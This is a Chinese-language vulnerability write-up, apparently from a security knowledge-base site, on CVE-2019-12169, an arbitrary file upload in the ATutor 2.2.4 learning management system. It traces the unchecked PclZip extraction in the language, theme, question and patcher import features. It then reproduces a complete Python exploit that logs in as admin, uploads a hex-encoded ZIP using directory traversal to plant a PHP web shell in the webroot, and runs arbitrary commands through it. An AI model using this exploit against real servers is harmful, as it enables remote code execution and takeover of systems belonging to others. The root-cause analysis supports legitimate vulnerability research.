menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right (CVE-2019-12169)ATutor学习内容管理系统 任意文件上传漏洞 chevron_right (CVE-2019-12169)ATutor学习内容管理系统 任意文件上传漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2019-12169)ATutor学习内容管理系统 任意文件上传漏洞.md
    18.07 KB / 2021-07-15 19:48:50
        (CVE-2019-12169)ATutor学习内容管理系统 任意文件上传漏洞
    =========================================================
    
    一、漏洞简介
    ------------
    
    ATutor是ATutor团队的一套开源的基于Web的学习内容管理系统(LCMS)。该系统包括教学内容管理、论坛、聊天室等模块。Atutor与Claroline、
    Moddle及Sakai号称为四大开源课程管理系统。
    
    ATutor2.2.4语言导入功能处存在一处安全漏洞(CVE-2019-12169)。攻击者可利用该漏洞进行远程代码执行攻击。
    
    经过分析发现,除了CVE-2019-1216所报道的语言导入功能外,ATutor在其他功能模块中也大量存在着相似的漏洞,本文会在后面针对这一点进行介绍。
    
    二、漏洞影响
    ------------
    
    ATutor 2.2.4
    
    三、复现过程
    ------------
    
    据漏洞披露可知,漏洞触发点存在于`mods/_core/languages/language_import.php`文件中
    
    首先跟入language\_import.php文件
    
        PHP
        <?php
        /****************************************************************/
        /* ATutor                                         */
        /****************************************************************/
        /* Copyright (c) 2002-2010                                      */
        /* Inclusive Design Institute                                   */
        /* http://atutor.ca                                     */
        /*                                                              */
        /* This program is free software. You can redistribute it and/or*/
        /* modify it under the terms of the GNU General Public License  */
        /* as published by the Free Software Foundation.            */
        /****************************************************************/
        // $Id$
    
        define('AT_INCLUDE_PATH', '../../../include/');
        require(AT_INCLUDE_PATH.'vitals.inc.php');
        admin_authenticate(AT_ADMIN_PRIV_LANGUAGES);
    
        require_once(AT_INCLUDE_PATH.'classes/pclzip.lib.php');
        require_once(AT_INCLUDE_PATH.'../mods/_core/languages/classes/LanguageEditor.class.php');
        require_once(AT_INCLUDE_PATH.'../mods/_core/languages/classes/LanguagesParser.class.php');
    
        /* to avoid timing out on large files */
        @set_time_limit(0);
    
        $_SESSION['done'] = 1;
    
        if (isset($_POST['submit_import'])){
            require_once(AT_INCLUDE_PATH.'../mods/_core/languages/classes/RemoteLanguageManager.class.php');
            $remoteLanguageManager = new RemoteLanguageManager();
            $language_code = explode("_",$_POST['language']);
            $remoteLanguageManager->import($_POST['language']);
            header('Location: language_import.php');
            exit;
        } else if (isset($_POST['submit']) && (!is_uploaded_file($_FILES['file']['tmp_name']) || !$_FILES['file']['size'])) {
            $msg->addError('LANG_IMPORT_FAILED');
        } else if (isset($_POST['submit']) && !$_FILES['file']['name']) {
            $msg->addError('IMPORTFILE_EMPTY');
        } else if (isset($_POST['submit']) && is_uploaded_file($_FILES['file']['tmp_name'])) {
            $languageManager->import($_FILES['file']['tmp_name']);
            header('Location: ./language_import.php');
            exit;
        }
    
    从language\_import.php文件中35行起,可以发现文件上传相关代码
    
    ![1.png](./resource/(CVE-2019-12169)ATutor学习内容管理系统任意文件上传漏洞/media/rId24.png)
    
    从上图红框中代码可知,此处代码块是对文件上传情况进行校验
    
    在文件成功上传后,进入下一个if分支
    
    ![2.png](./resource/(CVE-2019-12169)ATutor学习内容管理系统任意文件上传漏洞/media/rId25.png)
    
    在这个分支里,程序将调用\$languageManager-\>import方法对文件进行处理
    
    继续跟入import方法,位于`/mods/_core/languages/classes/LanguageManager.class.php`文件中
    
        PHP
        // public
        // import language pack from specified file
        function import($filename) {
            global $languageManager, $msg;
    
            if(strstr($_FILES['file']['name'], 'master')){
                // hack to create path to subdir for imported github language packs
                $import_dir = str_replace(".zip", "", $_FILES['file']['name']).'/';
            } else if(isset($_POST['language'])){
                $import_dir = $_POST['language'].'-master/';
            }
            require_once(AT_INCLUDE_PATH.'classes/pclzip.lib.php');
            require_once(AT_INCLUDE_PATH.'../mods/_core/languages/classes/LanguagesParser.class.php');
    
            $import_path = AT_CONTENT_DIR . 'import/';
            $import_path_tmp = $import_path.$import_dir;
            $language_xml = @file_get_contents($import_path.'language.xml');
            $archive = new PclZip($filename);
    
            if ($archive->extract(   PCLZIP_OPT_PATH,    $import_path) == 0) {
                exit('Error : ' . $archive->errorInfo(true));
            }
    
    在import方法中程序调用PclZip对压缩包进行处理
    
        PHP
        $archive = new PclZip($filename);
    
        if ($archive->extract(   PCLZIP_OPT_PATH,    $import_path) == 0) {
            exit('Error : ' . $archive->errorInfo(true));
        }
    
    为了更好的理解import方法的执行流程,我们将会进行动态调试。首先构造一个poc.php
    
        PHP
        <?php phpinfo(); ?>
    
    将这个poc.php打包为poc.zip
    
    ![3.png](./resource/(CVE-2019-12169)ATutor学习内容管理系统任意文件上传漏洞/media/rId26.png)
    
    访问如下链接以进入上传页面
    
    `https://www.0-sec.org/ATutor/mods/_core/languages/language_import.php`
    
    ![4.png](./resource/(CVE-2019-12169)ATutor学习内容管理系统任意文件上传漏洞/media/rId27.png)
    
    在上传语言包页面中选择构造好的poc.zip并点击import按钮上传。当请求发送给后台服务器,程序执行到下图断点处
    
    ![5.png](./resource/(CVE-2019-12169)ATutor学习内容管理系统任意文件上传漏洞/media/rId28.png)
    
    此时的\$import\_path值为atutor应用的/content/import路径:"content/import/",程序调用PclZip的extract方法对压缩包进行解压。接下来我们介绍以下PclZip类
    
    **PclZip**
    
    PclZip是一个强大的压缩与解压缩zip文件的PHP类,PclZip
    library不仅能够压缩与解压缩Zip格式的文件;还能解压缩文档中的内容,同时也可以对现有的ZIP包进行添加或删除文件。
    
    我们接下来看下import方法中是如何使用PclZip,见下图
    
    ![6.png](./resource/(CVE-2019-12169)ATutor学习内容管理系统任意文件上传漏洞/media/rId29.png)
    
    程序创建了上传的zip压缩包的一个PclZip对象进行操作与控制,在解压过程中使用了extract方法。该方法中第一个参数是设置项,第二个是对应设置项的值
    
    我们来看下PCLZIP\_OPT\_PATH设置项的作用
    
    ![7.png](./resource/(CVE-2019-12169)ATutor学习内容管理系统任意文件上传漏洞/media/rId30.png)
    
    可见,PCLZIP\_OPT\_PATH设置项指定我们上传的zip文件解压目录为\$import\_path参数对应的路径
    
    解压成功后,poc.zip中内容出现在对应文件夹中
    
    ![8.png](./resource/(CVE-2019-12169)ATutor学习内容管理系统任意文件上传漏洞/media/rId31.png)
    
    查看poc.php中的值,可以发现poc上传成功
    
    ![9.png](./resource/(CVE-2019-12169)ATutor学习内容管理系统任意文件上传漏洞/media/rId32.png)
    
    访问如下地址,触发poc
    
    ![10.png](./resource/(CVE-2019-12169)ATutor学习内容管理系统任意文件上传漏洞/media/rId33.png)
    
    除此之外,该应用几乎所有import接口,在后台都采用PclZip将上传的zip解压到对应目录中。然而这些操作无一例外的未对压缩包中的文件进行校验。下面举几个例子:
    
    位于`mods/_core/themes/import.php`文件中的主题导入功能,代码如下:
    
        PHP
        /**
        * Imports a theme from a URL or Zip file to Atutor
        * @access  private
        * @author  Shozub Qureshi
        */
        function import_theme() {
            global $db;
            global $msg;
            
            if (isset($_POST['url']) && ($_POST['url'] != 'http://') ) {
                if ($content = @file_get_contents($_POST['url'])) {
            
            ⋮
                
            // unzip file and save into directory in themes
            $archive = new PclZip($_FILES['file']['tmp_name']);
            
            //extract contents to importpath/foldrname
            if (!$archive->extract($import_path)) {
                $errors = array('IMPORT_ERROR_IN_ZIP', $archive->errorInfo(true));
                clr_dir($import_path);
                $msg->addError($errors);
                header('Location: index.php'); 
                exit;
            }
    
    可以发现这里也使用了extract方法将上传文件进行解压
    
    来看一下导入主题功能对应的前端页面
    
    ![11.png](./resource/(CVE-2019-12169)ATutor学习内容管理系统任意文件上传漏洞/media/rId34.png)
    
    这里页面与导入语音包的页面极其相似,只不过最终解压后存放的路径不同,不再是content/import/,而是themes/
    
    在此处上传构造好的poc.zip,最终poc.php将会被解压到themes文件夹中
    
    ![12.png](./resource/(CVE-2019-12169)ATutor学习内容管理系统任意文件上传漏洞/media/rId35.png)
    
    位于`/mods/_standard/tests/question_import.php`文件的问题导入功能
    
    ![13.png](./resource/(CVE-2019-12169)ATutor学习内容管理系统任意文件上传漏洞/media/rId36.png)
    
    位于`mods/_standard/patcher/index_admin.php`文件的补丁导入功能
    
    ![14.png](./resource/(CVE-2019-12169)ATutor学习内容管理系统任意文件上传漏洞/media/rId37.png)
    
    这些功能无一例外的存在着相似的漏洞
    
    ### poc
    
    > CVE-2019-12169.py
    
        #!/usr/bin/env python
        #
        # Exploit Title: ATutor 2.2.4 'language_import' Arbitrary File Upload / RCE [CVE-2019-12169]
        # Date: 5/24/19
        # Exploit Author: liquidsky (JMcPeters)
        # Vendor Homepage: https://atutor.github.io/
        # Software Link: https://sourceforge.net/projects/atutor/files/latest/download
        # Version: 2.2.4
        # Tested on: Windows 8 / Apache / MySQL (XAMPP)
        # CVE : CVE-2019-12169
        # Author Site: http://incidentsecurity.com/atutor-2-2-4-language_import-arbitrary-file-upload-rce/
        #            : https://github.com/fuzzlove
        #
        # Description: ATutor 2.2.4 allows Arbitrary File Upload and Directory Traversal
        # resulting in remote code execution via a ".." pathname in a ZIP archive to the mods/_core/languages/language_import.php (aka Import New Language) or mods/_standard/patcher/index_admin.php (aka Patcher) component.
        #
        # Greetz: wetw0rk, offsec ^^
        #
        # Notes: This application is no longer being maintained so there is no fix for this issue.
    
        import sys, hashlib, requests
        import urllib
        requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
        import time
    
    
        print "+-------------------------------------------------------------+"
        print
        print "- ATutor 2.2.4 Arbitrary File Upload / RCE [CVE-2019-12169]"
        print
        print "-          Discovery / PoC by liquidsky (JMcPeters) ^^"
        print
        print "+-------------------------------------------------------------+"
    
        try:
        #settings
            target   = sys.argv[1]
            username = sys.argv[2]
            password = sys.argv[3]
            commands = sys.argv[4]
    
        except IndexError:
    
                print
            print "- usage: %s <target> <username> <password> <command>" % sys.argv[0]
            print "- Example: %s incidentsecurity.com admin mypassword 'whoami'" % sys.argv[0]
                print
            sys.exit()
    
    
        # headers to upload zip
        headers = {
            "Accept-Encoding": "gzip, deflate",
            "Referer": "http://" + target + "/ATutor/mods/_core/languages/language_import.php",
            "Connection": "close",
            "Content-Type": "multipart/form-data; boundary=---------------------------CVE201912169",
        }
    
        # Note: This was successfully tested against a windows install however it should work with linux.
        # -----
        # This will drop a shell on c:\xampp\htdocs\liquidsky.php and or /var/www/html/liquidsky.php
        # using directory traversal.
    
    
        # php file payload
        data = ""
        data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
        data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x43"
        data += "\x56\x45\x32\x30\x31\x39\x31\x32\x31\x36\x39\x0d\x0a\x43\x6f"
        data += "\x6e\x74\x65\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\x69"
        data += "\x6f\x6e\x3a\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61\x3b\x20"
        data += "\x6e\x61\x6d\x65\x3d\x22\x66\x69\x6c\x65\x22\x3b\x20\x66\x69"
        data += "\x6c\x65\x6e\x61\x6d\x65\x3d\x22\x70\x6f\x63\x2e\x7a\x69\x70"
        data += "\x22\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65"
        data += "\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x7a"
        data += "\x69\x70\x0d\x0a\x0d\x0a\x50\x4b\x03\x04\x14\x00\x00\x00\x08"
        data += "\x00\xa4\x00\xb8\x4e\xbb\xb9\x35\x2d\x6a\x00\x00\x00\x6a\x00"
        data += "\x00\x00\x2c\x00\x00\x00\x2e\x2e\x5c\x2e\x2e\x5c\x2e\x2e\x5c"
        data += "\x2e\x2e\x5c\x2e\x2e\x5c\x2e\x2e\x2f\x78\x61\x6d\x70\x70\x5c"
        data += "\x68\x74\x64\x6f\x63\x73\x5c\x6c\x69\x71\x75\x69\x64\x73\x6b"
        data += "\x79\x2e\x70\x68\x70\xb3\xb1\x2f\xc8\x28\x50\x48\x2d\x4b\xcc"
        data += "\xd1\x50\xb2\xb7\x53\xd2\x4b\x4a\x2c\x4e\x35\x33\x89\x4f\x49"
        data += "\x4d\xce\x4f\x49\xd5\x50\x72\x09\xcc\xf7\x02\x62\x8b\x00\x63"
        data += "\xa7\xfc\x64\x67\xa7\x9c\x48\xa3\x8c\x32\x4f\x0f\xa7\x8c\x64"
        data += "\x63\x3f\x83\x44\x0f\x2f\x43\x6f\xe7\xa0\xb4\x20\x83\xb0\xd0"
        data += "\xf0\xca\x94\xe2\xc8\x70\xd3\xbc\x94\x70\xb7\xbc\xa8\xe0\x94"
        data += "\x14\xef\x90\xe2\xf4\x80\x2a\x13\x3f\xe7\x74\x5b\x5b\x25\x4d"
        data += "\x4d\x6b\x05\x7b\x3b\x00\x50\x4b\x03\x04\x14\x00\x00\x00\x08"
        data += "\x00\xa4\x00\xb8\x4e\xbb\xb9\x35\x2d\x6a\x00\x00\x00\x6a\x00"
        data += "\x00\x00\x2c\x00\x00\x00\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f"
        data += "\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x76\x61\x72\x2f\x77\x77"
        data += "\x77\x2f\x68\x74\x6d\x6c\x2f\x6c\x69\x71\x75\x69\x64\x73\x6b"
        data += "\x79\x2e\x70\x68\x70\xb3\xb1\x2f\xc8\x28\x50\x48\x2d\x4b\xcc"
        data += "\xd1\x50\xb2\xb7\x53\xd2\x4b\x4a\x2c\x4e\x35\x33\x89\x4f\x49"
        data += "\x4d\xce\x4f\x49\xd5\x50\x72\x09\xcc\xf7\x02\x62\x8b\x00\x63"
        data += "\xa7\xfc\x64\x67\xa7\x9c\x48\xa3\x8c\x32\x4f\x0f\xa7\x8c\x64"
        data += "\x63\x3f\x83\x44\x0f\x2f\x43\x6f\xe7\xa0\xb4\x20\x83\xb0\xd0"
        data += "\xf0\xca\x94\xe2\xc8\x70\xd3\xbc\x94\x70\xb7\xbc\xa8\xe0\x94"
        data += "\x14\xef\x90\xe2\xf4\x80\x2a\x13\x3f\xe7\x74\x5b\x5b\x25\x4d"
        data += "\x4d\x6b\x05\x7b\x3b\x00\x50\x4b\x01\x02\x14\x03\x14\x00\x00"
        data += "\x00\x08\x00\xa4\x00\xb8\x4e\xbb\xb9\x35\x2d\x6a\x00\x00\x00"
        data += "\x6a\x00\x00\x00\x2c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        data += "\x00\x80\x01\x00\x00\x00\x00\x2e\x2e\x5c\x2e\x2e\x5c\x2e\x2e"
        data += "\x5c\x2e\x2e\x5c\x2e\x2e\x5c\x2e\x2e\x2f\x78\x61\x6d\x70\x70"
        data += "\x5c\x68\x74\x64\x6f\x63\x73\x5c\x6c\x69\x71\x75\x69\x64\x73"
        data += "\x6b\x79\x2e\x70\x68\x70\x50\x4b\x01\x02\x14\x03\x14\x00\x00"
        data += "\x00\x08\x00\xa4\x00\xb8\x4e\xbb\xb9\x35\x2d\x6a\x00\x00\x00"
        data += "\x6a\x00\x00\x00\x2c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        data += "\x00\x80\x01\xb4\x00\x00\x00\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e"
        data += "\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x76\x61\x72\x2f\x77"
        data += "\x77\x77\x2f\x68\x74\x6d\x6c\x2f\x6c\x69\x71\x75\x69\x64\x73"
        data += "\x6b\x79\x2e\x70\x68\x70\x50\x4b\x05\x06\x00\x00\x00\x00\x02"
        data += "\x00\x02\x00\xb4\x00\x00\x00\x68\x01\x00\x00\x00\x00\x0d\x0a"
        data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
        data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x43"
        data += "\x56\x45\x32\x30\x31\x39\x31\x32\x31\x36\x39\x0d\x0a\x43\x6f"
        data += "\x6e\x74\x65\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\x69"
        data += "\x6f\x6e\x3a\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61\x3b\x20"
        data += "\x6e\x61\x6d\x65\x3d\x22\x73\x75\x62\x6d\x69\x74\x22\x0d\x0a"
        data += "\x0d\x0a\x49\x6d\x70\x6f\x72\x74\x0d\x0a\x2d\x2d\x2d\x2d\x2d"
        data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
        data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x43\x56\x45\x32\x30\x31"
        data += "\x39\x31\x32\x31\x36\x39\x2d\x2d\x0d\x0a"
    
    
        #reverse shell url
        shell = "http://" + target + "/liquidsky.php?language=" + commands
    
        # Generate Hash
        def gen_hash(passwd, token):
                m= hashlib.sha1()
                m.update(passwd + token)
                return m.hexdigest()
         
        def we_can_get_jiggy_with_the_pass():
    
        # Run pass through SHA1
             hash_object = hashlib.sha1(password)
             hex_dig = hash_object.hexdigest()
             print "[*] Got SHA1 for pass: " + (hex_dig)
    
             targeturl = "http://" + target + "/ATutor/login.php"
             token = "abc"
             hashed = gen_hash(hex_dig, token)
             d = {
                 "form_password_hidden" : hashed,
                 "form_login": "admin",
                 "submit": "Login",
                 "token" : token
             }
             s = requests.Session()
    
        #Logging in
             r = s.post(targeturl, data=d)
             print "[+] Logging in to system as %s ..." % (username)
             res = r.text
    
        # url settings, duh
             url = "http://" + target + "/ATutor/mods/_core/languages/language_import.php"
    
        # A similar method works for the "patcher" function.
            # url = "http://" + target + "/ATutor/mods/_standard/patcher/index_admin.php"
    
        # This is "the" request to send the zip     
             request = s.post(url, headers=headers, data=data, verify=False)
             print "[+] Sent the zip ......"
             time.sleep(1)
    
        # Grab shell dude!
             print "[!] *** Remote Code Execution ***"
             request = s.post(shell, verify=False)
             print "[x] http://" + target + "/liquidsky.php?language=" + commands
    
        # Note be sure to clean up: c:\xampp\htdocs\liquidsky.php and or /var/www/html/liquidsky.php
    
             if "Administration" in res:
                 return True
             return False 
         
        def main():
             if we_can_get_jiggy_with_the_pass():
                 print ""
                 print "[+] Success! we were able to login!"
                 print ""
                 print "  ^_~  got r00t?   - [liquidsky 2019]"
             else:         print "[-] failure!" 
         
        if __name__ == "__main__":
             main()
    
    参考链接
    --------
    
    > https://kumamon.fun/ATutor-CVE-2019-12169/
    >
    > https://github.com/fuzzlove/ATutor-2.2.4-Language-Exploit
    
    
    links
    file_download